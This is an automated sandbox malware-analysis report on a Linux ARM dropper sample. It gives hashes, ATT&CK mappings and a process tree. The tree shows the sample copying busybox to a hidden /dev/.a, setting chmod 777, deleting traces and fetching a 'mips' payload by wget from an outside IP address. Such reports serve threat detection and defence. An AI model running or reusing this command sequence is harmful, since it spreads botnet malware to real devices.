a9ea4b0e673068a9c8222db51de183b56fc1ed10838a0dd6f530cffe0037c52c

Analysis

max time kernel
147s
max time network
149s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
10/09/2026, 19:43

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General

Target
jaffacakes118_a9ea4b0e673068a9c8222db51de183b56fc1ed10838a0dd6f530cffe0037c52c.bin
Size 1KB
Sample260910-yfhevavfpe
SHA256 a9ea4b0e673068a9c8222db51de183b56fc1ed10838a0dd6f530cffe0037c52c
MD5 3498b3d8022179a6c872d2228120411f
SHA1 14d81f7cd3c78ab3d15ed06823319fdbe2434e3b
SHA512 26ffe01e4c63ec869268a31f7fd335681392e100ffb19dc16bfeb8f7dc2f37c4677edddffb4083501e47e18a5ef67076405ad79b33d053eb55968360b4bdfea5
TLSH
T12B4197EAA8A16F735D81EF0870230F1D600FA5C656910BADDF6E2C39FEBC90E7014645
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
672	chmod

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/mounts	cat
File opened for reading	/proc/filesystems	cp

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
680	wget

/tmp/jaffacakes118_a9ea4b0e673068a9c8222db51de183b56fc1ed10838a0dd6f530cffe0037c52c.bin
/tmp/jaffacakes118_a9ea4b0e673068a9c8222db51de183b56fc1ed10838a0dd6f530cffe0037c52c.bin
1⤵
PID:655
- /bin/grep
  grep rw
  2⤵
  PID:660
- /bin/grep
  grep -v noexe
  2⤵
  PID:661
- /bin/cat
  cat /proc/mounts
  2⤵
  - Reads runtime system information
  PID:658
- /bin/grep
  grep tmpfs
  2⤵
  PID:659
- /usr/bin/cut
  cut -d " " -f 2
  2⤵
  PID:662
- /bin/cp
  cp /bin/busybox //dev/.a
  2⤵
  - Reads runtime system information
  PID:666
- /bin/chmod
  chmod 777 //dev/.a
  2⤵
  - File and Directory Permissions Modification
  PID:672
- /bin/rm
  rm -rf .a
  2⤵
  PID:676
- /usr/bin/wget
  wget http://23.132.164.16/mips
  2⤵
  - System Network Configuration Discovery
  PID:680

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

Path /dev/.a
Size 507KB
SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
MD5 e588bcf03ae78237b58899d35f50c570
SHA1 2194732ebbefbc27bdae876c77f2a97a20175710
SHA512 904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555
SSDEEP 12288:KKCUYnMx/qAPbFabrimkuc+GnCIRki2jEyfbPxG3:KKqKqsbF2ZjGIrPfbPxG3
TLSH
T1EEB4E0C9FD812D83C6C3823D32021C759575D5DDB3AA921A322DA0FB3768AB653DE394
MD5 SHA1 SHA512 SSDEEP TLSH

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